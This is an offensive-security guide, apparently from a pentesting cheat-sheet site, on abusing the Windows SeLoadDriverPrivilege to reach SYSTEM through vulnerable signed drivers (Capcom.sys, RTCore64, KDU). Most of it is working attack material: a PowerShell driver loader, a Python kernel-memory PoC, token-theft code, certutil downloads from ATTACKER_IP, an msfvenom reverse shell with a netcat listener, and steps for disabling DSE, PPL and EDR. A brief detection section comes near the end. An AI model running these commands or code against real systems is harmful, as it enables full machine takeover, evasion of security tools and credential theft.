Skip to main content

Overview

SeLoadDriverPrivilege allows a user to load and unload kernel-mode drivers by calling the NtLoadDriver system call. Loading a driver means inserting arbitrary code into the Windows kernel — ring 0 execution. An attacker with this privilege can load a vulnerable signed driver (BYOVD), exploit it to gain kernel read/write, and steal the SYSTEM token for full machine compromise. This is not a theoretical attack. It has been used extensively in the wild by both red teams and threat actors (Turla, Lazarus, RansomHub) to bypass EDR, disable security products, and escalate privileges.

Who Has It by Default

PrincipalContext
BUILTIN\AdministratorsEnabled in elevated sessions
BUILTIN\Print OperatorsAlways assigned — common escalation vector
NT AUTHORITY\SYSTEMAlways
Accounts with explicit GPO assignmentCheck secpol.msc > User Rights Assignment > Load and unload device drivers
Print Operators is the most commonly exploited path. On domain controllers, Print Operators is a domain-level group — any member can load kernel drivers on the DC itself.

Check If Enabled

whoami /priv
Filter for it directly:
whoami /priv | findstr /i "SeLoadDriverPrivilege"
Expected output when exploitable:
SeLoadDriverPrivilege         Load and unload device drivers  Enabled
If the privilege shows as Disabled, it can still be enabled programmatically via AdjustTokenPrivileges. The privilege only needs to be present in the token — the Enabled/Disabled state is a soft toggle. Tools like EoPLoadDriver enable it automatically before calling NtLoadDriver.
Check group membership for Print Operators (common source of this privilege):
net localgroup "Print Operators"
whoami /groups | findstr /i "Print"

How It Works Technically

The exploitation chain is: create registry key > point to driver on disk > call NtLoadDriver > driver runs in kernel.

NtLoadDriver Internals

NtLoadDriver is an undocumented ntdll syscall that takes a single argument — a registry path pointing to a service key under HKLM\SYSTEM\CurrentControlSet\Services\. The kernel reads the ImagePath value from that key, loads the specified .sys file into kernel memory, and executes its DriverEntry function.
NtLoadDriver(L"\\Registry\\Machine\\System\\CurrentControlSet\\Services\\DriverName")
The kernel checks:
  1. The caller holds SeLoadDriverPrivilege (enabled in token)
  2. The registry key exists and contains a valid ImagePath
  3. The driver binary is validly signed (unless test signing is enabled)
Critically, starting from Windows 10 1607+, NtLoadDriver also accepts paths under the current user’s registry hive (HKU\<SID>\System\CurrentControlSet\Services\). This means a non-admin user with SeLoadDriverPrivilege can load drivers without needing write access to HKLM — they create the service key under their own HKCU.

The Attack Flow

1. SeLoadDriverPrivilege is present in token
2. Place vulnerable signed driver (.sys) on disk
3. Create registry key with ImagePath pointing to the driver
4. Call NtLoadDriver with the registry path
5. Driver loads into kernel — ring 0 code execution
6. Exploit the driver's vulnerability for kernel read/write
7. Locate SYSTEM process token in kernel memory
8. Copy SYSTEM token to current process
9. Current process is now NT AUTHORITY\SYSTEM

Loading a Driver via Registry Key (Manual Method)

Before using any tool, understand the manual process. You need a registry service key with specific values.

Step 1 — Create the Registry Key

Under HKLM (requires admin write to HKLM):
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnDriver" /v Type /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnDriver" /v ErrorControl /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnDriver" /v Start /t REG_DWORD /d 3 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnDriver" /v ImagePath /t REG_EXPAND_SZ /d "\??\C:\Windows\Temp\VulnDriver.sys" /f
Under HKCU (no admin write needed — works on Windows 10 1607+):
reg add "HKCU\System\CurrentControlSet\Services\VulnDriver" /v Type /t REG_DWORD /d 1 /f
reg add "HKCU\System\CurrentControlSet\Services\VulnDriver" /v ErrorControl /t REG_DWORD /d 1 /f
reg add "HKCU\System\CurrentControlSet\Services\VulnDriver" /v Start /t REG_DWORD /d 3 /f
reg add "HKCU\System\CurrentControlSet\Services\VulnDriver" /v ImagePath /t REG_EXPAND_SZ /d "\??\C:\Windows\Temp\VulnDriver.sys" /f

Registry Values Explained

ValueTypeDataPurpose
TypeREG_DWORD1Kernel driver (SERVICE_KERNEL_DRIVER)
ErrorControlREG_DWORD1Normal error control
StartREG_DWORD3Demand start (load on request)
ImagePathREG_EXPAND_SZ\??\C:\path\driver.sysPath to driver binary (NT path format with \??\ prefix)

Step 2 — Call NtLoadDriver

Using PowerShell with P/Invoke:
$code = @'
using System;
using System.Runtime.InteropServices;

public class DriverLoader
{
    [DllImport("ntdll.dll")]
    public static extern uint NtLoadDriver(ref UNICODE_STRING DriverServiceName);

    [DllImport("ntdll.dll")]
    public static extern void RtlInitUnicodeString(ref UNICODE_STRING DestinationString, [MarshalAs(UnmanagedType.LPWStr)] string SourceString);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAll, ref TOKEN_PRIVILEGES NewState, uint BufferLen, IntPtr Prev, IntPtr RetLen);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool LookupPrivilegeValue(string Host, string Name, ref LUID Luid);

    [DllImport("advapi32.dll", SetLastError = true)]
    static extern bool OpenProcessToken(IntPtr ProcessHandle, uint Access, out IntPtr TokenHandle);

    [DllImport("kernel32.dll")]
    static extern IntPtr GetCurrentProcess();

    [StructLayout(LayoutKind.Sequential)]
    public struct UNICODE_STRING
    {
        public ushort Length;
        public ushort MaximumLength;
        public IntPtr Buffer;
    }

    [StructLayout(LayoutKind.Sequential)]
    struct LUID { public uint LowPart; public int HighPart; }

    [StructLayout(LayoutKind.Sequential)]
    struct LUID_AND_ATTRIBUTES { public LUID Luid; public uint Attributes; }

    [StructLayout(LayoutKind.Sequential)]
    struct TOKEN_PRIVILEGES { public uint PrivilegeCount; public LUID_AND_ATTRIBUTES Privileges; }

    public static void EnablePrivilege(string privilege)
    {
        IntPtr hToken;
        OpenProcessToken(GetCurrentProcess(), 0x0028, out hToken);
        TOKEN_PRIVILEGES tp = new TOKEN_PRIVILEGES();
        tp.PrivilegeCount = 1;
        tp.Privileges.Attributes = 0x00000002;
        LookupPrivilegeValue(null, privilege, ref tp.Privileges.Luid);
        AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    }

    public static uint LoadDriver(string registryPath)
    {
        EnablePrivilege("SeLoadDriverPrivilege");
        UNICODE_STRING us = new UNICODE_STRING();
        RtlInitUnicodeString(ref us, registryPath);
        return NtLoadDriver(ref us);
    }
}
'@

Add-Type -TypeDefinition $code

# Load driver from HKLM service key
[DriverLoader]::LoadDriver("\Registry\Machine\System\CurrentControlSet\Services\VulnDriver")

# Or from HKCU (replace SID with your actual SID)
# Get your SID: (whoami /user /fo csv | ConvertFrom-Csv).'SID'
[DriverLoader]::LoadDriver("\Registry\User\S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX-XXXX\System\CurrentControlSet\Services\VulnDriver")
A return value of 0 (STATUS_SUCCESS) means the driver is loaded.

Step 3 — Verify the Driver Loaded

driverquery /v | findstr /i "VulnDriver"
Get-WmiObject Win32_SystemDriver | Where-Object { $_.Name -eq "VulnDriver" }

EoPLoadDriver Tool

EoPLoadDriver automates the registry key creation and NtLoadDriver call. It handles privilege enabling, HKCU key creation, and the NT path format automatically.

Download and Compile

# Clone and compile with Visual Studio
git clone https://github.com/TarlogicSecurity/EoPLoadDriver.git
# Open .sln in Visual Studio, build Release x64
Pre-compiled binary is also available in the releases.

Load a Driver

EoPLoadDriver.exe System\CurrentControlSet\Services\VulnDriver C:\Windows\Temp\VulnDriver.sys
This command:
  1. Enables SeLoadDriverPrivilege in the current token
  2. Creates the registry key under HKCU\System\CurrentControlSet\Services\VulnDriver
  3. Sets ImagePath to \??\C:\Windows\Temp\VulnDriver.sys
  4. Calls NtLoadDriver with the HKCU registry path
Expected output:
[+] Enabling SeLoadDriverPrivilege
[+] SeLoadDriverPrivilege enabled
[+] Loading Driver: \Registry\User\S-1-5-21-...\System\CurrentControlSet\Services\VulnDriver
NTSTATUS: 00000000, WinError: 0
NTSTATUS: 00000000 means success. Common errors:
NTSTATUSMeaning
0x00000000Success — driver loaded
0xC0000022Access denied — privilege not present in token
0xC0000061Privilege not held — SeLoadDriverPrivilege missing
0xC0000428Driver signature not valid — unsigned or revoked driver
0xC0000603Driver blocked by policy — HVCI or driver blocklist
0xC000010EDriver already loaded
0xC0000034Object name not found — registry key or driver path wrong

Capcom.sys Attack

Capcom.sys is a legitimately signed driver (by Capcom Co., Ltd.) that contains an intentional feature allowing any user-mode process to execute arbitrary code in kernel mode by disabling SMEP (Supervisor Mode Execution Prevention). It was signed with a valid Authenticode certificate and is the classic example of BYOVD.

Why Capcom.sys Works

The driver exposes a device \\.\Htsysm72FB that accepts an IOCTL. When called, it:
  1. Disables SMEP by clearing the CR4 register bit
  2. Calls a user-supplied function pointer in kernel context
  3. Re-enables SMEP
This means: you pass a pointer to your shellcode, and the driver executes it at ring 0.

Step-by-Step Exploitation

Step 1 — Place Capcom.sys on Disk

Transfer Capcom.sys to the target:
certutil -urlcache -split -f http://ATTACKER_IP/Capcom.sys C:\Windows\Temp\Capcom.sys
SHA-256 of the original Capcom.sys:
73c98438ac64a68e800b9f9571b4fec82571af010571b5f00af63fba6a93f900

Step 2 — Load the Driver

Using EoPLoadDriver:
EoPLoadDriver.exe System\CurrentControlSet\Services\Capcom C:\Windows\Temp\Capcom.sys
Or manually:
reg add "HKCU\System\CurrentControlSet\Services\Capcom" /v Type /t REG_DWORD /d 1 /f
reg add "HKCU\System\CurrentControlSet\Services\Capcom" /v ErrorControl /t REG_DWORD /d 1 /f
reg add "HKCU\System\CurrentControlSet\Services\Capcom" /v Start /t REG_DWORD /d 3 /f
reg add "HKCU\System\CurrentControlSet\Services\Capcom" /v ImagePath /t REG_EXPAND_SZ /d "\??\C:\Windows\Temp\Capcom.sys" /f

Step 3 — Exploit with ExploitCapcom

ExploitCapcom is the standard exploit tool:
git clone https://github.com/tandasat/ExploitCapcom.git
# Compile with Visual Studio — Release x64
Run it to get a SYSTEM shell:
ExploitCapcom.exe
Default behavior: launches cmd.exe as SYSTEM. To run a custom command, modify the source or use the version that accepts arguments:
ExploitCapcom.exe YOURCOMMAND

Step 4 — Verify SYSTEM

whoami
nt authority\system

Alternative: Capcom Exploit with Custom Payload

If you need a reverse shell instead of an interactive cmd:
# Generate payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o shell.exe

# Transfer to target
certutil -urlcache -split -f http://ATTACKER_IP/shell.exe C:\Windows\Temp\shell.exe

# Modify ExploitCapcom to launch shell.exe instead of cmd.exe
# In ExploitCapcom.cpp, change:
#   TCHAR CommandLine[] = TEXT("C:\\Windows\\System32\\cmd.exe");
# To:
#   TCHAR CommandLine[] = TEXT("C:\\Windows\\Temp\\shell.exe");
Start listener on attacker:
nc -lvnp 4444
Capcom.sys has been added to the Microsoft Vulnerable Driver Blocklist and is blocked by HVCI (Hypervisor-protected Code Integrity). On modern Windows 10/11 with HVCI enabled, the driver will not load. Use alternative BYOVD drivers listed below.

BYOVD — Bring Your Own Vulnerable Driver

BYOVD is the modern evolution of the Capcom.sys technique. Instead of relying on a single known driver, attackers use any legitimately signed driver that contains an exploitable vulnerability — typically arbitrary kernel read/write via exposed IOCTLs.

Attack Pattern

1. Find a signed driver with a known vulnerability (kernel read/write)
2. Transfer the .sys file to the target
3. Load it using SeLoadDriverPrivilege (EoPLoadDriver or manual method)
4. Use the driver's vulnerable IOCTL for kernel memory operations
5. Locate the current process token in kernel memory
6. Copy SYSTEM token over current process token
7. Current process is now SYSTEM

Why It Works

Windows enforces Driver Signature Enforcement (DSE) — only drivers signed by Microsoft or through the WHQL process can load. However, many legitimate vendor drivers contain vulnerabilities. Since they are validly signed, Windows loads them without complaint. The vulnerabilities are typically:
  • Arbitrary physical memory read/write — map physical memory pages to user space
  • Arbitrary MSR read/write — modify Model-Specific Registers
  • Arbitrary kernel memory read/write — read/write via IOCTL with attacker-controlled addresses
  • CR register manipulation — disable SMEP/SMAP

Finding Vulnerable Drivers

LOLDrivers is the definitive database of known vulnerable drivers:
# Browse the catalog
https://www.loldrivers.io/

# API — get all vulnerable drivers
curl https://www.loldrivers.io/api/drivers.json
KDU driver database maintains another curated list.

Common Vulnerable Drivers

DriverVendorVulnerabilityCVEKernel CapabilityBlocklisted
Capcom.sysCapcomIntentional kernel exec with SMEP disableN/AArbitrary code executionYes
RTCore64.sysMSI (Afterburner)Arbitrary physical memory read/write via IOCTLCVE-2019-16098Full kernel R/WYes (recent)
dbutil_2_3.sysDellArbitrary physical memory read/writeCVE-2021-21551Full kernel R/WYes (recent)
iqvw64e.sysIntel (Network Adapter Diagnostic)Arbitrary physical memory map/unmapCVE-2015-2291Full kernel R/WPartially
gdrv.sysGigabyte (AORUS)Arbitrary physical memory read/writeCVE-2018-19320Full kernel R/WYes
AsIO64.sys / AsIO.sysASUSArbitrary physical memory accessCVE-2020-17382Full kernel R/WPartially
HWiNFO64A.sysHWiNFOArbitrary physical memory mapN/AFull kernel R/WNo
WinRing0x64.sysOpenLibSysArbitrary physical memory read/write, MSR R/WN/AFull kernel R/WPartially
speedfan.sysSpeedFanArbitrary physical memory read/writeN/AFull kernel R/WNo
ProcExp152.sysSysinternals (Process Explorer)Terminate any processN/AKill protected processesNo

RTCore64.sys (MSI Afterburner) — CVE-2019-16098

The most commonly used post-Capcom driver. Ships with MSI Afterburner, a popular GPU overclocking tool.

IOCTL Interface

Device: \\.\RTCore64
Read physical memory:  IOCTL 0x80002048
Write physical memory: IOCTL 0x8000204C

Load the Driver

EoPLoadDriver.exe System\CurrentControlSet\Services\RTCore64 C:\Windows\Temp\RTCore64.sys

Exploit for SYSTEM Token

Multiple public exploits exist. The general approach:
1. Open handle to \\.\RTCore64
2. Use read IOCTL (0x80002048) to walk kernel structures
3. Find EPROCESS for current process and SYSTEM process (PID 4)
4. Read SYSTEM token from EPROCESS->Token
5. Use write IOCTL (0x8000204C) to overwrite current process token with SYSTEM token
6. Current process is now SYSTEM
Python PoC using ctypes (run from target):
import ctypes
import struct
from ctypes import wintypes

kernel32 = ctypes.WinDLL('kernel32')
ntdll = ctypes.WinDLL('ntdll')

GENERIC_READ = 0x80000000
GENERIC_WRITE = 0x40000000
OPEN_EXISTING = 3
IOCTL_READ  = 0x80002048
IOCTL_WRITE = 0x8000204C

hDevice = kernel32.CreateFileW(
    "\\\\.\\RTCore64",
    GENERIC_READ | GENERIC_WRITE,
    0, None, OPEN_EXISTING, 0, None
)

def read_physical(address, size):
    """Read physical memory via RTCore64 IOCTL"""
    buf_in = struct.pack('<QII', address, 0, size)
    buf_out = ctypes.create_string_buffer(size + 16)
    bytes_returned = wintypes.DWORD()
    kernel32.DeviceIoControl(
        hDevice, IOCTL_READ,
        buf_in, len(buf_in),
        buf_out, len(buf_out),
        ctypes.byref(bytes_returned), None
    )
    return buf_out.raw[:size]

def write_physical(address, data):
    """Write physical memory via RTCore64 IOCTL"""
    buf_in = struct.pack('<QII', address, 0, len(data)) + data
    buf_out = ctypes.create_string_buffer(16)
    bytes_returned = wintypes.DWORD()
    kernel32.DeviceIoControl(
        hDevice, IOCTL_WRITE,
        buf_in, len(buf_in),
        buf_out, len(buf_out),
        ctypes.byref(bytes_returned), None
    )

dbutil_2_3.sys (Dell) — CVE-2021-21551

Dell’s BIOS utility driver. Exposes five distinct vulnerabilities, all leading to kernel memory access.
EoPLoadDriver.exe System\CurrentControlSet\Services\dbutil C:\Windows\Temp\dbutil_2_3.sys
Exploit tools:

iqvw64e.sys (Intel) — CVE-2015-2291

Intel Network Adapter Diagnostic Driver. Maps arbitrary physical memory to user space.
EoPLoadDriver.exe System\CurrentControlSet\Services\Nal C:\Windows\Temp\iqvw64e.sys
This driver is the default backend for many offensive tools including KDU.

KDU — Kernel Driver Utility

KDU (by hfiref0x) is a comprehensive framework that automates the entire BYOVD chain. It ships with support for 50+ vulnerable drivers and handles driver loading, kernel read/write primitives, and exploitation automatically.

How KDU Works

1. Selects a vulnerable driver from its provider list
2. Drops the embedded .sys to disk
3. Creates registry key and calls NtLoadDriver
4. Opens the driver device and uses its vulnerable IOCTLs
5. Provides kernel read/write/execute primitives to the caller
6. Supports: DSE bypass, PPL bypass, arbitrary driver loading, kernel callbacks removal

Usage

List Available Providers (Vulnerable Drivers)

kdu.exe -list
Output shows all supported driver providers with their index numbers:
[0]  Intel Network Adapter Diagnostic Driver (iqvw64e.sys)
[1]  RTCore64 (RTCore64.sys)
[2]  Gdrv (gdrv.sys)
[3]  ATSZIO64 (ATSZIO64.sys)
[4]  MICSYS (MsIo64.sys)
[5]  GLCKIo2 (GLCKIo2.sys)
...

Load an Unsigned/Custom Driver (DSE Bypass)

The primary use case — load any arbitrary driver by patching DSE in kernel memory:
kdu.exe -prv 1 -map C:\Windows\Temp\custom_driver.sys
  • -prv 1 selects provider 1 (RTCore64.sys)
  • -map maps (loads) your custom unsigned driver into kernel

Disable PPL (Protected Process Light) on a Process

kdu.exe -prv 0 -pse <PID>
Useful for unprotecting lsass.exe before dumping.

Disable Driver Signature Enforcement

kdu.exe -prv 1 -dse 0
After this, you can load any unsigned driver using sc create / sc start normally.

Re-enable DSE (Cleanup)

kdu.exe -prv 1 -dse 6

Common KDU Providers for Offensive Use

ProviderDriverNotes
0iqvw64e.sys (Intel)Most reliable, widely tested
1RTCore64.sys (MSI)Good fallback, well-documented IOCTL
5GLCKIo2.sys (ASRock)Less commonly blocklisted
14dbutil_2_3.sys (Dell)Multiple vuln classes
19HWiNFO64A.sysRarely blocklisted
KDU requires SeLoadDriverPrivilege or an elevated administrator shell (which has it). It handles the full chain: dropping the driver, creating registry keys, loading via NtLoadDriver, and exploitation. You do not need EoPLoadDriver separately.

Extracting SYSTEM Token via Kernel Exploitation

Once you have kernel read/write (via any vulnerable driver), the standard technique for privilege escalation is token theft — copying the SYSTEM process token to your current process.

Token Theft — How It Works

Every process in Windows has a _EPROCESS kernel structure. This structure contains a Token field pointing to a _TOKEN object that defines the process’s security context. PID 4 (System process) always runs as NT AUTHORITY\SYSTEM.
_EPROCESS (your process)
  ├── UniqueProcessId   → your PID
  ├── Token             → 0xFFFF...  (your limited token)
  └── ActiveProcessLinks → linked list of all processes

_EPROCESS (PID 4 — System)
  ├── UniqueProcessId   → 4
  ├── Token             → 0xFFFF...  (SYSTEM token)
  └── ActiveProcessLinks → linked list of all processes

Attack: overwrite your Token pointer with System's Token pointer

Step-by-Step in Pseudocode

1. Read the kernel base address (NtQuerySystemInformation or leaked via driver)
2. Find PsInitialSystemProcess — pointer to the SYSTEM _EPROCESS
3. Walk the ActiveProcessLinks doubly-linked list
4. For each EPROCESS, read UniqueProcessId
5. When UniqueProcessId == 4: save Token value (SYSTEM token)
6. When UniqueProcessId == our PID: save EPROCESS address
7. Write SYSTEM token value into our process's Token field
8. Done — our process is now SYSTEM

Key Offsets (Windows 10/11 x64)

These offsets vary by Windows build. Use !process 0 0 in WinDbg or query PDB symbols to get exact offsets.
FieldOffset (common)Notes
_EPROCESS.UniqueProcessId0x440Win10 21H2+, varies by build
_EPROCESS.ActiveProcessLinks0x448Doubly-linked list
_EPROCESS.Token0x4B8EX_FAST_REF — bottom 4 bits are ref count
_EPROCESS.ImageFileName0x5A815-char process name
Offsets change between Windows builds. Using wrong offsets causes BSOD. Always verify offsets for the target OS version. Tools like KDU and public exploits maintain offset tables for common builds.

C Implementation (Conceptual)

// After obtaining kernel read/write via vulnerable driver

// 1. Get SYSTEM EPROCESS
ULONG64 systemEproc = ReadKernelMemory(PsInitialSystemProcess);

// 2. Read SYSTEM token
ULONG64 systemToken = ReadKernelMemory(systemEproc + TOKEN_OFFSET);

// 3. Walk process list to find our process
ULONG64 currentEproc = systemEproc;
do {
    ULONG64 pid = ReadKernelMemory(currentEproc + PID_OFFSET);
    if (pid == GetCurrentProcessId()) {
        // 4. Overwrite our token with SYSTEM token
        WriteKernelMemory(currentEproc + TOKEN_OFFSET, systemToken);
        break;
    }
    // Walk linked list (subtract offset to get back to EPROCESS base)
    ULONG64 flink = ReadKernelMemory(currentEproc + ACTIVEPROCESSLINKS_OFFSET);
    currentEproc = flink - ACTIVEPROCESSLINKS_OFFSET;
} while (currentEproc != systemEproc);

// 5. Current process is now SYSTEM
system("cmd.exe");

Using PPLKiller for Token Theft

PPLKiller combines driver loading with token theft:
PPLKiller.exe /installDriver
PPLKiller.exe /stealToken <TARGET_PID>

Full Attack Chain Walkthrough

Complete step-by-step from SeLoadDriverPrivilege to SYSTEM shell.

1. Confirm the Privilege

whoami /priv | findstr /i "SeLoadDriverPrivilege"

2. Transfer Tools and Driver

On attacker machine, start a web server:
python3 -m http.server 80
On target:
certutil -urlcache -split -f http://ATTACKER_IP/EoPLoadDriver.exe C:\Windows\Temp\EoPLoadDriver.exe
certutil -urlcache -split -f http://ATTACKER_IP/ExploitCapcom.exe C:\Windows\Temp\ExploitCapcom.exe
certutil -urlcache -split -f http://ATTACKER_IP/Capcom.sys C:\Windows\Temp\Capcom.sys

3. Load the Driver

C:\Windows\Temp\EoPLoadDriver.exe System\CurrentControlSet\Services\Capcom C:\Windows\Temp\Capcom.sys
Verify:
NTSTATUS: 00000000, WinError: 0

4. Exploit for SYSTEM

C:\Windows\Temp\ExploitCapcom.exe

5. Verify

whoami
nt authority\system

Alternative: Reverse Shell as SYSTEM

If you need a remote shell instead of an interactive prompt:
# Attacker: generate payload
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o rev.exe

# Attacker: start listener
nc -lvnp 4444
:: Target: transfer payload
certutil -urlcache -split -f http://ATTACKER_IP/rev.exe C:\Windows\Temp\rev.exe

:: Target: modify ExploitCapcom to launch rev.exe
:: (recompile with CommandLine = "C:\\Windows\\Temp\\rev.exe")
:: Or use the Capcom exploit that accepts command-line arguments
C:\Windows\Temp\ExploitCapcom.exe C:\Windows\Temp\rev.exe

Cleanup

:: Unload the driver
reg delete "HKCU\System\CurrentControlSet\Services\Capcom" /f
del C:\Windows\Temp\Capcom.sys
del C:\Windows\Temp\EoPLoadDriver.exe
del C:\Windows\Temp\ExploitCapcom.exe

Defenses and Detection

What Blocks This Attack

DefenseEffectBypass Difficulty
HVCI (Hypervisor-protected Code Integrity)Blocks loading of drivers not signed by Microsoft or with known vulnsHard — requires HVCI-compatible bypass
Microsoft Vulnerable Driver BlocklistBlocks known BYOVD drivers by hashMedium — find a driver not yet on the list
Driver Signature Enforcement (DSE)Blocks unsigned driversBypassed by using validly signed vulnerable drivers
Secure BootPrevents boot-time driver tamperingDoes not block runtime BYOVD loading
Windows Defender Application Control (WDAC)Policy-based driver allowlistingHard — requires loading an allowed driver
Credential GuardIsolates LSASS in a VM — token theft still works for local privescDoes not prevent token theft

Detection — Event Logs and Indicators

IndicatorSourceWhat to Look For
Event ID 4672Security logSeLoadDriverPrivilege assigned at logon
Event ID 6SysmonDriver loaded — check ImageLoaded for known vulnerable driver names/hashes
Event ID 7045System logNew service installed (driver service creation)
Event ID 4697Security logService installed in the system
Registry key creationSysmon Event 12/13Keys under HKCU\System\CurrentControlSet\Services\ — highly anomalous
NtLoadDriver callETW / kernel telemetryRare outside driver installers
New .sys files in Temp directoriesFile monitoringDrivers should not be in C:\Windows\Temp

HVCI Status Check

Defenders (and attackers) can check if HVCI is enabled:
# Check HVCI status
Get-CimInstance -ClassName Win32_DeviceGuard -Namespace root\Microsoft\Windows\DeviceGuard | Select-Object VirtualizationBasedSecurityStatus, SecurityServicesRunning
:: Registry check
reg query "HKLM\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" /v Enabled
  • SecurityServicesRunning includes 2 = HVCI is active
  • HVCI prevents loading of blocklisted or vulnerable drivers at the hypervisor level

Driver Blocklist Check

# Check if Microsoft Vulnerable Driver Blocklist is enabled
Get-CimInstance -Namespace root\Microsoft\Windows\CI -ClassName MSFT_MpComputerStatus | Select-Object IsVulnerableDriverBlocklistEnabled
The blocklist file is located at C:\Windows\System32\CodeIntegrity\driversipolicy.p7b and is updated via Windows Update.

Quick Reference

TechniqueToolTarget DriverRequirements
Capcom.sys exploitEoPLoadDriver + ExploitCapcomCapcom.sysSeLoadDriverPrivilege, no HVCI
RTCore64.sys token theftEoPLoadDriver + custom exploitRTCore64.sysSeLoadDriverPrivilege, no HVCI
KDU driver mappingkdu.exeProvider-dependent (50+ drivers)SeLoadDriverPrivilege or admin
KDU DSE bypasskdu.exe -dse 0Provider-dependentLoad unsigned drivers after bypass
KDU PPL disablekdu.exe -pse <PID>Provider-dependentUnprotect LSASS for dumping
Manual NtLoadDriverPowerShell P/InvokeAny signed .sysSeLoadDriverPrivilege, registry write
Dell dbutil exploitEoPLoadDriver + CVE-2021-21551 PoCdbutil_2_3.sysSeLoadDriverPrivilege, no HVCI
ScenarioRecommended Path
Target has no HVCI, old WindowsCapcom.sys (simplest, most documented)
Target has HVCI disabled, modern WindowsRTCore64.sys or KDU with provider not on blocklist
Target has HVCI enabledFind driver not on blocklist via LOLDrivers, or use KDU with newer provider
Need to disable EDRLoad ProcExp152.sys to terminate protected processes, or KDU to remove kernel callbacks
Print Operators member on DCLoad driver, token theft to SYSTEM, then DCSync